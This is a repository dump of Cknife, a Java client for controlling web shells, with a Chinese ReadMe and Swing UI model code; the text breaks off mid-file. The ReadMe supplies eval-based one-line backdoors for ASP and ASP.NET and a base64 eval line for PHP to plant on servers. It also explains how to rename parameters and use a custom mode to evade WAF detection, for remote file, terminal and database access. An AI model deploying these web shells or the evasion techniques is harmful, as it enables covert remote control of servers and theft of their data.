├── .classpath ├── .gitignore ├── .project ├── .settings ├── org.eclipse.core.resources.prefs └── org.eclipse.jdt.core.prefs ├── ReadMe.txt ├── lib ├── sqlite-jdbc-3.7.2.jar ├── substance.jar └── trident.jar └── src └── com └── ms509 ├── images ├── data.png ├── database.png ├── drive.png ├── file.png ├── folder.png ├── logo.png ├── main.png └── table.png ├── model ├── DatabaseTableModel.java ├── DatabaseTreeCellRenderer.java ├── ExtendedDefaultTreeCellRenderer.java ├── ExtendedTableCellRenderer.java ├── ExtendedTreeCellRenderer.java ├── ResultSetTableModel.java └── RightTableModel.java ├── ui ├── AboutDialog.java ├── AddDialog.java ├── Cknife.java ├── ConfigDialog.java ├── MainFrame.java ├── MessageDialog.java ├── SetDBDialog.java ├── TabFrame.java ├── config │ └── panel │ │ ├── ProxyPanel.java │ │ └── RequestPanel.java ├── menu │ ├── DBPopMenu.java │ ├── FileManagerPopMenu.java │ ├── ListPopMenu.java │ └── ShellPopMenu.java └── panel │ ├── DatabasePanel.java │ ├── FileManagerPanel.java │ ├── HeadPanel.java │ ├── ListPanel.java │ ├── ShellPanel.java │ └── TextPanel.java └── util ├── BasicAuthenticator.java ├── Common.java ├── Configuration.java ├── DataBase.java ├── DbDao.java ├── FileManager.java ├── GBC.java ├── InitConfig.java ├── NodeData.java ├── Request.java ├── Safe.java ├── Shell.java └── TreeMethod.java /.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /.settings 2 | /bin 3 | /Cknife.db 4 | /Config.ini 5 | -------------------------------------------------------------------------------- /.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | Cknife 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | 15 | org.eclipse.jdt.core.javanature 16 | 17 | 18 | -------------------------------------------------------------------------------- /.settings/org.eclipse.core.resources.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | encoding/=UTF-8 3 | -------------------------------------------------------------------------------- /.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled 3 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.7 4 | org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve 5 | org.eclipse.jdt.core.compiler.compliance=1.7 6 | org.eclipse.jdt.core.compiler.debug.lineNumber=generate 7 | org.eclipse.jdt.core.compiler.debug.localVariable=generate 8 | org.eclipse.jdt.core.compiler.debug.sourceFile=generate 9 | org.eclipse.jdt.core.compiler.problem.assertIdentifier=error 10 | org.eclipse.jdt.core.compiler.problem.enumIdentifier=error 11 | org.eclipse.jdt.core.compiler.source=1.7 12 | -------------------------------------------------------------------------------- /ReadMe.txt: -------------------------------------------------------------------------------- 1 | 软件名称:Cknife 2 | 中文名称:C刀 3 | 源码地址:https://github.com/Chora10/Cknife 4 | 下载地址:http://pan.baidu.com/s/1nul1mpr 密码:f65g 5 | 官方博客:http://www.ms509.com/ 6 | 作者: Chora && MelodyZX 7 | ---------------------------------------------------------------------------------------------------------- 8 | 免责声明: 9 | 本工具仅限于安全研究与教学使用,用户使用本工具所造成的所有后果,由用户承担全部法律及连带责任!作者不承担任何法律及连带责任。 10 | ---------------------------------------------------------------------------------------------------------- 11 | 为什么开发Cknife: 12 | 1、方便已被授权的渗透测试人员进行渗透测试; 13 | 2、方便WAF厂商提升自身WAF的防护能力; 14 | 3、方便管理员管理自身网站及服务器。 15 | ---------------------------------------------------------------------------------------------------------- 16 | 为什么开源Cknife: 17 | 1、结合大众的力量优化完善本软件; 18 | 2、菜刀后门层出不穷,开源来接受大众的监督以及审计。 19 | ---------------------------------------------------------------------------------------------------------- 20 | 理想:希望能在安全研究员以及WAF厂商的对抗中提升国内WAF的防护水平以及安全研究员的实力。 21 | ---------------------------------------------------------------------------------------------------------- 22 | 23 | 24 | 一、运行环境: 25 | 26 | 安装了JRE1.7+环境的所有操作系统 27 | 28 | 二、文件说明: 29 | ------------------------------------------------------------------ 30 | Cknife.jar Cknife主程序 31 | ------------------------------------------------------------------ 32 | Cknife.db Cknife的数据库(不存在会自动生成) 33 | Config.ini Cknife的配置文件(不存在会自动生成) 34 | ReadMe.txt 你现在正在看的(可删除) 35 | 1.jsp JSP服务端脚本(可删除) 36 | 1.jspx JSPX服务端脚本(可删除) 37 | ------------------------------------------------------------------ 38 | 39 | 三、使用说明: 40 | 41 | 服务端脚本支持ASP、ASPX、PHP、JSP、JSPX、Customize(自定义)。 42 | 代码包含且不限于如下代码(只要能构造出类似eval的函数就行,比如PHP的create_function、assert等) 43 | 44 | ASP: 45 | <%eval request("Cknife")%> 46 |   47 | ASP.NET: 48 | <%@ Page Language="Jscript"%><%eval(Request.Item["Cknife"],"unsafe");%> 49 | 50 | PHP: 51 | 52 | 53 | JSP: 54 | [代码详见1.jsp] 55 | 56 | JSPX: 57 | [代码详见1.jspx] 58 | 59 | Customize: 60 | 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与C刀进行交互即可。此模式可按需定制,比如只要浏览目录,或是只要虚拟终端功能,代码可以很简短。 61 | 62 | 63 | 四、数据库功能: 64 | 65 | 首次使用在列表里点击右键,选择数据库管理会提示请先配置数据库,点击配置数据库按钮选择对应的连接方式连接即可。 66 | 67 | 五、设置功能: 68 | 69 | 代理功能:在类型处选择代理类型。支持SOCKS、HTTP类型的代理,使用Burp抓取Cknife数据,需选择代理类型为HTTP,并填上对应的IP以及端口即可。 70 | 如果想要关闭代理功能,只需要选择代理类型为DIRECT,或者清空用户名或密码,即表示关闭代理。 71 | 72 | 自定义请求头功能:在文本框里输入要自定义的请求头以及对应的值,可以添加或修改多个请求头。只需要按照如下格式添加即可: 73 | User-Agent:xxx 74 | Cookie:xxx 75 | ms509:Chora 76 | 如果想要关闭自定义请求头功能,只需要把文本框内容清空,或者选中关闭选项并确定。 77 | 78 | 六、过WAF 79 | 80 | 这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义,主程序只是图形的展示,以及数据的发送。 81 | 我分开了每一个步骤写入到配置文件里面,用户可以自定义任何代码,包括更改参数名称,参数内容。 82 | 比如: 83 | SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel 设置皮肤为nimbus 84 | SPL=->| 表示截取数据的开始符号 85 | SPR=|<- 表示截取数据的结束符号 86 | CODE=code 编码参数 87 | ACTION=action 动作参数 88 | PARAM1=z1 参数1 89 | PARAM2=z2 参数2 90 | PHP_BASE64=1 当为PHP时,Z1,Z2参数是否开启自动base64加密,如果想定义自己的加密方式则关闭设置为0 91 | PHP_MAKE=@eval(base64_decode($_POST[action])); 生成方式,这里可以不用该方式,可以用你任何想要的方式 92 | PHP_INDEX=... 显示主页功能的代码放这儿 93 | PHP_READDICT=... 读取主页功能的代码放这儿 94 | PHP_READFILE=... 读取文件功能的代码放这儿 95 | PHP_DELETE=... 删除文件夹以及文件功能的代码放这儿 96 | PHP_RENAME=... 重命名文件夹以及文件功能的代码放这儿 97 | PHP_RETIME=... 修改时间功能的代码放这儿 98 | PHP_NEWDICT=... 新建目录功能的代码放这儿 99 | PHP_UPLOAD=... 上传文件功能的代码放这儿 100 | PHP_DOWNLOAD=... 下载文件功能的代码放这儿 101 | PHP_SHELL=... 虚拟终端功能的代码放这儿 102 | PHP_DB_MYSQL=... 管理MYSQL数据库功能的代码放这儿 103 | ASP_...=... 104 | ASPX_...=... 105 | JSP_...=... 106 | 107 | 除了修改以上参数过WAF外,程序还额外提供了一种Customize过WAF的模式。 108 | Customize模式原本是用于支持一些程序默认不支持的脚本,比如CFM、ASMX、ASHX、PY等等,只要用户自写的脚本能正确与菜刀进行交互即可。 109 | 110 | 换一个思考方式,如果我们自写一个PHP脚本实现了列文件以及目录的功能,它能够正确的与C刀进行交互,这个时候如果我们选择PHP(Eval)的连接方式就会连接失败。 111 | 应该选择Customize模式进行连接。有人说为什么一句话就可以连接,你偏偏还要写这么多代码用Customize模式连接?如果一个很厉害的WAF检测eval,assert等关键词 112 | ,你的一句话实在是饶不过,这个时候你可以不用一句话,就在PHP脚本里用正常代码实现列文件以及目录,然后用Customize模式连接就达到了过WAF的目的。 113 | 114 | Customize(自定义)模式跟其他模式一样,每一个步骤也都写入到配置文件里面,用户同样可以参数名称以及参数内容。 115 | 比如你自写了用Customize模式连接的Customize.php服务端。显示主页功能提交的参数应该是:密码=1&action=index以及密码=1&action=readdict。 116 | 如果C刀普及以后WAF厂商肯定会把readdict列入黑名单,这个时候你就可以修改readdict的名称为其他名称,同样可以修改action的名称,也可以修改1为其他字符 117 | CUS_MAKE=1 118 | CUS_INDEX=index 119 | CUS_READDICT=readdict 120 | CUS_READFILE=readfile 121 | CUS_SAVEFILE=savefile 122 | CUS_DELETE=delete 123 | CUS_RENAME=rename 124 | CUS_RETIME=retime 125 | CUS_NEWDICT=newdict 126 | CUS_UPLOAD=upload 127 | CUS_DOWNLOAD=download 128 | CUS_SHELL=shell 129 | 130 | 七、更新日志:(更新版本后请删除Config.ini文件,重新打开自动生成新版本的Config.ini) 131 | 132 | 程序在使用过程中难免有各种BUG,及时关注看一下是否有更新吧,说不定己经修补了呢。 133 | 134 | 已知问题: 135 | Graphite与Metal类型的皮肤互相之间切换不需要重启Cknife,其余类型(Nimbus、Windows、Mac等)的皮肤相互之间切换也不需要重启Cknife, 136 | 但是这两种类型的皮肤进行切换就需要重启Cknife才能完全生效,不然最小化、最大化、关闭按钮不会显示,这是Swing架构遗留的问题。 137 | 138 | 20160729 139 | 1、文件管理修复若干BUG 140 | 2、文件管理新增修改时间功能 141 | 3、文件管理优化界面 142 | 143 | 20160728 144 | 1、数据库管理修复若干BUG 145 | 2、数据库管理增加获取表行数 146 | 3、数据库管理优化界面 147 | 148 | 20160623 149 | 1、虚拟终端增加右键复制粘贴功能(快捷键Ctrl+C、Ctrl+V) 150 | 2、虚拟终端增加上键下键切换历史命令功能 151 | 3、数据库管理增加右键导出数据功能 152 | 153 | 20160622 154 | 1、修复ORACLE数据库连接失败的问题 155 | 2、修复在某分辨率下添加SHELL对话框里的密码文本框消失的问题 156 | 3、更新JSPX脚本 157 | 158 | 20160620 159 | 1、修复虚拟终端低概率执行失败的情况 160 | 2、数据库管理界面优化 161 | 162 | 20160618 163 | 1、添加对HTTPS协议的支持 164 | 2、修复文件管理右边栏遇到乱码不显示的情况 165 | 166 | 20160513 167 | 1、添加自定义请求头功能 168 | 169 | 20160511 170 | 1、添加设置选项并增加了代理功能 171 | 2、增加了对JSPX脚本的支持,连接时脚本类型选择JSP(Eval) 172 | 173 | 20160426 174 | 1、修复JSP连接MYSQL数据库异常的问题 175 | 2、虚拟终端增加自定义Cmd路径的功能,命令为setp [path] 176 | 177 | 20160413 178 | 1、添加自定义模式shell返回路径的自定义分隔符 179 | 2、添加JSP对MSSQL的支持 180 | 181 | 20160318 182 | 1、优化界面,右边栏点击目录后左边栏也会选中 183 | 2、修复ASP、ASPX、JSP在打开空目录时会失败的问题 184 | 3、将默认皮肤Graphite添加到皮肤切换功能 185 | 4、虚拟终端增加标识符方便用户分辨 186 | 5、数据库部分功能增加多线程 187 | 188 | 20160317 189 | 1、优化文件管理左边栏的打开方式 190 | 2、文件管理所有功能使用多线程,防止高延迟请求界面会卡的情况发生 191 | 192 | 20160316 193 | 1、修复在Linux下默认皮肤显示乱码的问题 194 | 2、添加ASPX对MSSQL、ACCESS的支持 195 | 3、更换皮肤解决选中后看不清的情况 196 | 197 | 20160314 198 | 1、添加ASP对MSSQL、ACCESS的支持 199 | 2、修复中文路径启动失败的问题 200 | 201 | 20160311 202 | 1、修复模拟终端若干BUG; 203 | 2、模拟终端使用多线程,防止高延迟请求界面会卡的情况发生 204 | 205 | 20160310 206 | 1、添加JSP对MYSQL、ORACLE的支持 207 | 2、修复在Windows下,文件管理会多出一个盘符 208 | 209 | 20160307 210 | 1、连接失败返回详细信息,方便用户分析问题 211 | 212 | 20160301 213 | 1、合并Cknife与Cknife_Skin 214 | 2、添加数据库功能,添加PHP对MYSQL的支持 -------------------------------------------------------------------------------- /lib/sqlite-jdbc-3.7.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Chora10/Cknife/79dae24e2a9917ffa983c68def4dc858e295451b/lib/sqlite-jdbc-3.7.2.jar -------------------------------------------------------------------------------- /lib/substance.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Chora10/Cknife/79dae24e2a9917ffa983c68def4dc858e295451b/lib/substance.jar -------------------------------------------------------------------------------- /lib/trident.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Chora10/Cknife/79dae24e2a9917ffa983c68def4dc858e295451b/lib/trident.jar -------------------------------------------------------------------------------- /src/com/ms509/images/data.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Chora10/Cknife/79dae24e2a9917ffa983c68def4dc858e295451b/src/com/ms509/images/data.png -------------------------------------------------------------------------------- /src/com/ms509/images/database.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Chora10/Cknife/79dae24e2a9917ffa983c68def4dc858e295451b/src/com/ms509/images/database.png -------------------------------------------------------------------------------- /src/com/ms509/images/drive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Chora10/Cknife/79dae24e2a9917ffa983c68def4dc858e295451b/src/com/ms509/images/drive.png -------------------------------------------------------------------------------- /src/com/ms509/images/file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Chora10/Cknife/79dae24e2a9917ffa983c68def4dc858e295451b/src/com/ms509/images/file.png -------------------------------------------------------------------------------- /src/com/ms509/images/folder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Chora10/Cknife/79dae24e2a9917ffa983c68def4dc858e295451b/src/com/ms509/images/folder.png -------------------------------------------------------------------------------- /src/com/ms509/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Chora10/Cknife/79dae24e2a9917ffa983c68def4dc858e295451b/src/com/ms509/images/logo.png -------------------------------------------------------------------------------- /src/com/ms509/images/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Chora10/Cknife/79dae24e2a9917ffa983c68def4dc858e295451b/src/com/ms509/images/main.png -------------------------------------------------------------------------------- /src/com/ms509/images/table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Chora10/Cknife/79dae24e2a9917ffa983c68def4dc858e295451b/src/com/ms509/images/table.png -------------------------------------------------------------------------------- /src/com/ms509/model/DatabaseTableModel.java: -------------------------------------------------------------------------------- 1 | package com.ms509.model; 2 | 3 | import javax.swing.table.DefaultTableModel; 4 | 5 | public class DatabaseTableModel extends DefaultTableModel { 6 | 7 | public Class getColumnClass(int columnIndex) { 8 | if (this.getRowCount() == 0) { 9 | return super.getColumnClass(columnIndex); 10 | } else { 11 | return getValueAt(0, columnIndex).getClass(); 12 | } 13 | } 14 | 15 | public boolean isCellEditable(int row, int column) { 16 | if(column == 0) 17 | { 18 | return false; 19 | } else 20 | { 21 | return true; 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /src/com/ms509/model/DatabaseTreeCellRenderer.java: -------------------------------------------------------------------------------- 1 | package com.ms509.model; 2 | 3 | import java.awt.Component; 4 | 5 | import javax.swing.ImageIcon; 6 | import javax.swing.JTree; 7 | import javax.swing.tree.DefaultMutableTreeNode; 8 | import javax.swing.tree.DefaultTreeCellRenderer; 9 | 10 | import com.ms509.util.NodeData; 11 | import com.ms509.util.NodeData.DataType; 12 | 13 | 14 | 15 | public class DatabaseTreeCellRenderer extends DefaultTreeCellRenderer { 16 | 17 | @Override 18 | public Component getTreeCellRendererComponent(JTree tree, Object value, 19 | boolean sel, boolean expanded, boolean leaf, int row, 20 | boolean hasFocus) { 21 | // TODO Auto-generated method stub 22 | super.getTreeCellRendererComponent(tree, value, sel, expanded, leaf, 23 | row, hasFocus); 24 | DefaultMutableTreeNode node = (DefaultMutableTreeNode) value; 25 | NodeData data = (NodeData) node.getUserObject(); 26 | ImageIcon icon = null; 27 | switch (data.nodetype) { 28 | case DataType.DATABASE: 29 | icon = new ImageIcon(getClass().getResource("/com/ms509/images/database.png")); 30 | break; 31 | case DataType.TABLE: 32 | icon = new ImageIcon(getClass().getResource("/com/ms509/images/table.png")); 33 | break; 34 | } 35 | this.setIcon(icon); 36 | return this; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/com/ms509/model/ExtendedDefaultTreeCellRenderer.java: -------------------------------------------------------------------------------- 1 | package com.ms509.model; 2 | 3 | import java.awt.Component; 4 | import java.util.ArrayList; 5 | 6 | import javax.swing.ImageIcon; 7 | import javax.swing.JTree; 8 | import javax.swing.tree.DefaultMutableTreeNode; 9 | import javax.swing.tree.DefaultTreeCellRenderer; 10 | /* 11 | * 继承实现类,判断节点内容是否为/或者为A-Z的盘符 12 | * 如果是则更改图标为驱动图标,不是的显示文件夹图标 13 | * @author Chora 14 | */ 15 | public class ExtendedDefaultTreeCellRenderer extends DefaultTreeCellRenderer 16 | { 17 | @Override 18 | public Component getTreeCellRendererComponent(JTree tree, Object value, 19 | boolean sel, boolean expanded, boolean leaf, int row, 20 | boolean hasFocus) { 21 | // TODO Auto-generated method stub 22 | super.getTreeCellRendererComponent(tree, value, sel, expanded, leaf, 23 | row, hasFocus); 24 | DefaultMutableTreeNode df = (DefaultMutableTreeNode)value; 25 | ArrayList al = new ArrayList<>(); 26 | String drive = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 27 | for (int i = 0; i < drive.length(); i++) { 28 | al.add(drive.charAt(i)+":"); 29 | } 30 | if(df.getUserObject().equals("/") || al.contains(df.getUserObject())) 31 | { 32 | this.setIcon(new ImageIcon(getClass().getResource("/com/ms509/images/drive.png"))); 33 | } else 34 | { 35 | this.setIcon(new ImageIcon(getClass().getResource("/com/ms509/images/folder.png"))); 36 | } 37 | return this; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/com/ms509/model/ExtendedTableCellRenderer.java: -------------------------------------------------------------------------------- 1 | package com.ms509.model; 2 | 3 | import java.awt.Component; 4 | import java.awt.Graphics; 5 | 6 | import javax.swing.ImageIcon; 7 | import javax.swing.JPanel; 8 | import javax.swing.JTable; 9 | import javax.swing.table.TableCellRenderer; 10 | import javax.swing.table.TableColumn; 11 | import javax.swing.table.TableColumnModel; 12 | /* 13 | * 通过单元格内容不同,设置不同图标 14 | * 未使用 15 | * @author Chora 16 | */ 17 | public class ExtendedTableCellRenderer extends JPanel implements TableCellRenderer 18 | { 19 | private String name; 20 | @Override 21 | public Component getTableCellRendererComponent(JTable table, 22 | Object value, boolean isSelected, boolean hasFocus, int row, 23 | int column) { 24 | // TODO Auto-generated method stub 25 | this.name = value.toString(); 26 | return this; 27 | } 28 | @Override 29 | public void paintComponent(Graphics g) { 30 | // TODO Auto-generated method stub 31 | if(this.name.equals("isdict")) 32 | { 33 | g.drawImage(new ImageIcon(getClass().getResource("/com/ms509/images/folder.png")).getImage(),0,0,null); 34 | }else 35 | { 36 | g.drawImage(new ImageIcon(getClass().getResource("/com/ms509/images/file.png")).getImage(),0,0,null); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/com/ms509/model/ExtendedTreeCellRenderer.java: -------------------------------------------------------------------------------- 1 | package com.ms509.model; 2 | 3 | import java.awt.Color; 4 | import java.awt.Component; 5 | import java.awt.Dimension; 6 | import java.awt.Graphics; 7 | 8 | import javax.swing.ImageIcon; 9 | import javax.swing.JPanel; 10 | import javax.swing.JTree; 11 | import javax.swing.tree.TreeCellRenderer; 12 | /* 13 | * 继承JPanel类且实现TreeCellRenderer接口, 14 | * 通过重写getTreeCellRendererComponent、paintComponent、getPreferredSize方法 15 | * 判断节点内容是否为/ 16 | * 如果是则更改图标为驱动图标,不是的显示文件夹图标 17 | * 未使用 18 | * @author Chora 19 | */ 20 | public class ExtendedTreeCellRenderer extends JPanel implements TreeCellRenderer 21 | { 22 | private String name; 23 | // private Color back; 24 | // private Color fore; 25 | // private ImageIcon icon; 26 | @Override 27 | public Component getTreeCellRendererComponent(JTree tree, Object value, 28 | boolean selected, boolean expanded, boolean leaf, int row, 29 | boolean hasFocus) { 30 | // TODO Auto-generated method stub 31 | this.name = value.toString(); 32 | // this.back = hasFocus ? Color.GRAY : Color.PINK; 33 | // this.fore = hasFocus ? Color.RED : Color.GREEN; 34 | return this; 35 | } 36 | @Override 37 | public void paintComponent(Graphics g) { 38 | // TODO Auto-generated method stub 39 | // g.setColor(back); 40 | // g.fillRect(0,0,getWidth(),getHeight()); 41 | // g.setColor(fore); 42 | if(name.equals("/")) 43 | { 44 | g.drawImage(new ImageIcon(getClass().getResource("/com/ms509/images/drive.png")).getImage(),1,2,null); 45 | 46 | }else 47 | { 48 | g.drawImage(new ImageIcon(getClass().getResource("/com/ms509/images/folder.png")).getImage(),1,2,null); 49 | } 50 | 51 | g.drawString(this.name,20,14); 52 | } 53 | @Override 54 | public Dimension getPreferredSize() { 55 | // TODO Auto-generated method stub 56 | return new Dimension(100,20); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /src/com/ms509/model/ResultSetTableModel.java: -------------------------------------------------------------------------------- 1 | package com.ms509.model; 2 | 3 | import java.sql.ResultSet; 4 | import java.sql.ResultSetMetaData; 5 | import java.sql.SQLException; 6 | import java.util.Vector; 7 | 8 | import javax.swing.table.AbstractTableModel; 9 | import javax.swing.tree.DefaultMutableTreeNode; 10 | /* 11 | * 通过重写方法实现直接读取数据并显示在表格 12 | * 继承AbstractTableModel没有add,remove等方法 13 | * 添加了add,remove方法 14 | * @author Chora 15 | */ 16 | public class ResultSetTableModel extends AbstractTableModel { 17 | private ResultSet rs; 18 | private ResultSetMetaData rsmd; 19 | private Vector title; 20 | private Vector> datas; 21 | private int colcount = 0; 22 | 23 | public ResultSetTableModel(ResultSet rs) { 24 | try { 25 | this.rs = rs; 26 | this.rsmd = rs.getMetaData(); 27 | this.colcount = this.rsmd.getColumnCount(); 28 | title = new Vector(); 29 | for (int j = 1; j <= this.colcount; j++) { 30 | title.add(this.rsmd.getColumnName(j)); 31 | } 32 | title.set(1, "Url"); 33 | title.set(6, "Ip"); 34 | title.set(7, "Time"); 35 | datas = new Vector>(); 36 | while (rs.next()) { 37 | Vector data = new Vector(); 38 | for (int i = 1; i <= this.colcount; i++) { 39 | data.add(this.rs.getString(i)); 40 | } 41 | datas.add(data); 42 | } 43 | } catch (SQLException e) { 44 | // TODO Auto-generated catch block 45 | e.printStackTrace(); 46 | } 47 | } 48 | 49 | @Override 50 | public String getColumnName(int column) { 51 | // TODO Auto-generated method stub 52 | return title.get(column); 53 | 54 | } 55 | 56 | @Override 57 | public int getColumnCount() { 58 | // TODO Auto-generated method stub 59 | return title.size(); 60 | } 61 | 62 | @Override 63 | public int getRowCount() { 64 | // TODO Auto-generated method stub 65 | return datas.size(); 66 | } 67 | 68 | @Override 69 | public Object getValueAt(int row, int column) { 70 | // TODO Auto-generated method stub 71 | return datas.get(row).get(column); 72 | } 73 | 74 | public void addRow(Vector vector) { 75 | this.datas.add(vector); 76 | this.fireTableRowsInserted(datas.size()-1,datas.size()-1); 77 | } 78 | 79 | public void update(String id, Vector vector) { 80 | this.datas.set(this.getId(id), vector); 81 | this.fireTableDataChanged(); 82 | } 83 | 84 | public void remove(String id) { 85 | try { 86 | int row = this.getId(id); 87 | this.datas.remove(row); 88 | this.fireTableRowsDeleted(row,row); 89 | } catch (Exception e) { 90 | // TODO: handle exception 91 | } 92 | } 93 | 94 | private int getId(String id) { 95 | int i = 0; 96 | for (Vector data : this.datas) { 97 | if (data.get(0).equals(id)) { 98 | return i; 99 | } 100 | i++; 101 | } 102 | return i; 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /src/com/ms509/model/RightTableModel.java: -------------------------------------------------------------------------------- 1 | package com.ms509.model; 2 | 3 | import java.awt.Rectangle; 4 | import java.util.ArrayList; 5 | import java.util.Arrays; 6 | import java.util.List; 7 | import java.util.Vector; 8 | 9 | import javax.swing.ImageIcon; 10 | import javax.swing.JTable; 11 | import javax.swing.JTextField; 12 | import javax.swing.JTree; 13 | import javax.swing.SwingUtilities; 14 | import javax.swing.table.AbstractTableModel; 15 | import javax.swing.table.DefaultTableModel; 16 | import javax.swing.tree.DefaultMutableTreeNode; 17 | import javax.swing.tree.DefaultTreeSelectionModel; 18 | import javax.swing.tree.TreePath; 19 | import javax.swing.tree.TreeSelectionModel; 20 | 21 | import com.ms509.ui.panel.FileManagerPanel; 22 | import com.ms509.util.Common; 23 | import com.ms509.util.Safe; 24 | import com.ms509.util.TreeMethod; 25 | 26 | /* 27 | * 通过重写getColumnClass方法,在单元格直接设置图标 28 | * @author Chora 29 | */ 30 | public class RightTableModel extends AbstractTableModel { 31 | private boolean isEdit = false; 32 | private FileManagerPanel filemanagerpanel; 33 | private String ret = "-1"; 34 | 35 | public FileManagerPanel getFilemanagerpanel() { 36 | return filemanagerpanel; 37 | } 38 | 39 | public void setFilemanagerpanel(FileManagerPanel filemanagerpanel) { 40 | this.filemanagerpanel = filemanagerpanel; 41 | } 42 | 43 | public boolean isEdit() { 44 | return isEdit; 45 | } 46 | 47 | public void setEdit(boolean isEdit) { 48 | this.isEdit = isEdit; 49 | } 50 | 51 | private Vector title; 52 | private Vector datas; 53 | 54 | public RightTableModel(String[] filedicts) { 55 | 56 | // TODO Auto-generated constructor stub 57 | datas = new Vector(); 58 | title = new Vector(); 59 | title.add("是否"); 60 | title.add("文件"); 61 | title.add("时间"); 62 | title.add("大小"); 63 | title.add("属性"); 64 | for (String tmp : filedicts) { 65 | String[] s = null; 66 | String[] t = tmp.split("\t"); 67 | if (t.length == 4) { 68 | s = t; 69 | } else { 70 | s = "./ 1970-00-00 00:00:00 0 0\n../ 1970-00-00 00:00:00 0 0" 71 | .split("\t"); 72 | } 73 | String name = s[0]; 74 | Vector data = new Vector(); 75 | if (!name.equals("./") && !name.equals("../")) { 76 | if (name.charAt(s[0].length() - 1) == '/') { 77 | // data.add("isdict"); 78 | data.add(new ImageIcon(getClass().getResource( 79 | "/com/ms509/images/folder.png"))); 80 | data.add(name.substring(0, name.length() - 1)); 81 | data.add(s[1]); 82 | data.add(s[2]); 83 | data.add(s[3]); 84 | } else { 85 | // data.add("isfile"); 86 | data.add(new ImageIcon(getClass().getResource( 87 | "/com/ms509/images/file.png"))); 88 | data.add(name); 89 | data.add(s[1]); 90 | data.add(s[2]); 91 | data.add(s[3]); 92 | } 93 | datas.add(data); 94 | } 95 | } 96 | 97 | } 98 | 99 | @Override 100 | public Class getColumnClass(int columnIndex) { 101 | // TODO Auto-generated method stub 102 | if (this.getRowCount() == 0) { 103 | return super.getColumnClass(columnIndex); 104 | } else { 105 | return getValueAt(0, columnIndex).getClass(); 106 | } 107 | } 108 | 109 | @Override 110 | public String getColumnName(int column) { 111 | // TODO Auto-generated method stub 112 | return this.title.get(column); 113 | } 114 | 115 | @Override 116 | public int getColumnCount() { 117 | // TODO Auto-generated method stub 118 | return this.title.size(); 119 | } 120 | 121 | @Override 122 | public int getRowCount() { 123 | // TODO Auto-generated method stub 124 | return datas.size(); 125 | } 126 | 127 | @Override 128 | public Object getValueAt(int row, int column) { 129 | // TODO Auto-generated method stub 130 | return datas.get(row).get(column); 131 | } 132 | 133 | public void addRow(Vector vector) { 134 | this.datas.add(vector); 135 | this.fireTableRowsInserted(vector.size()-1, vector.size()-1); 136 | } 137 | 138 | @Override 139 | public void setValueAt(Object aValue, final int rowIndex, int columnIndex) { 140 | if(columnIndex==1) 141 | { 142 | final Vector data = new Vector(); 143 | String oldname = ""; 144 | String newname = ""; 145 | String newfolder = ""; 146 | final int col = columnIndex; 147 | final Object newdata = aValue; 148 | String tmp = filemanagerpanel.getPath().getText(); 149 | String path = Common.getAbsolutePath(tmp); 150 | for (int i = 0; i < this.getColumnCount(); i++) { 151 | if (i == 1) { 152 | oldname = this.datas.get(rowIndex).get(i).toString(); 153 | newname = aValue.toString(); 154 | newfolder = oldname; 155 | data.add(aValue); 156 | } else { 157 | data.add(this.datas.get(rowIndex).get(i)); 158 | } 159 | } 160 | if (newfolder.equals("newFolder")) { 161 | if (aValue.equals(newfolder) || aValue.equals("")) { 162 | this.remove(this.getRowCount() - 1); 163 | } else { 164 | Vector exists = new Vector(); 165 | int ei=0; 166 | for (Vector vec : this.datas) { 167 | exists.add(vec.get(1)); 168 | } 169 | if (exists.contains(aValue)) { 170 | this.remove(this.getRowCount() - 1); 171 | JTable list = filemanagerpanel.getList(); 172 | int row = exists.indexOf(aValue); 173 | list.setRowSelectionInterval(row,row); 174 | Rectangle rect = list.getCellRect(row, 0, true); 175 | list.scrollRectToVisible(rect); 176 | filemanagerpanel.getStatus().setText("目录已存在"); 177 | } else { 178 | final String np = path + aValue.toString() + Safe.SYSTEMSP; 179 | Runnable newrun = new Runnable() { 180 | public void run() { 181 | ret = "-1"; 182 | filemanagerpanel.getStatus().setText( 183 | "正在新建文件夹...请稍等"); 184 | ret = filemanagerpanel.getFm().doAction("newdict", 185 | np); 186 | SwingUtilities.invokeLater(new Runnable() { 187 | public void run() { 188 | if (ret.equals("1")) { 189 | datas.get(rowIndex).setElementAt(newdata, col); 190 | fireTableCellUpdated(rowIndex, col); 191 | JTree tree = filemanagerpanel.getTree(); 192 | String[] trees = new String[]{getValueAt(getRowCount()-1, 1).toString()}; 193 | TreePath tp = tree.getSelectionPath(); 194 | DefaultMutableTreeNode select = (DefaultMutableTreeNode) tp 195 | .getLastPathComponent(); 196 | select.setAllowsChildren(true); 197 | TreeMethod.addTree(trees, select, 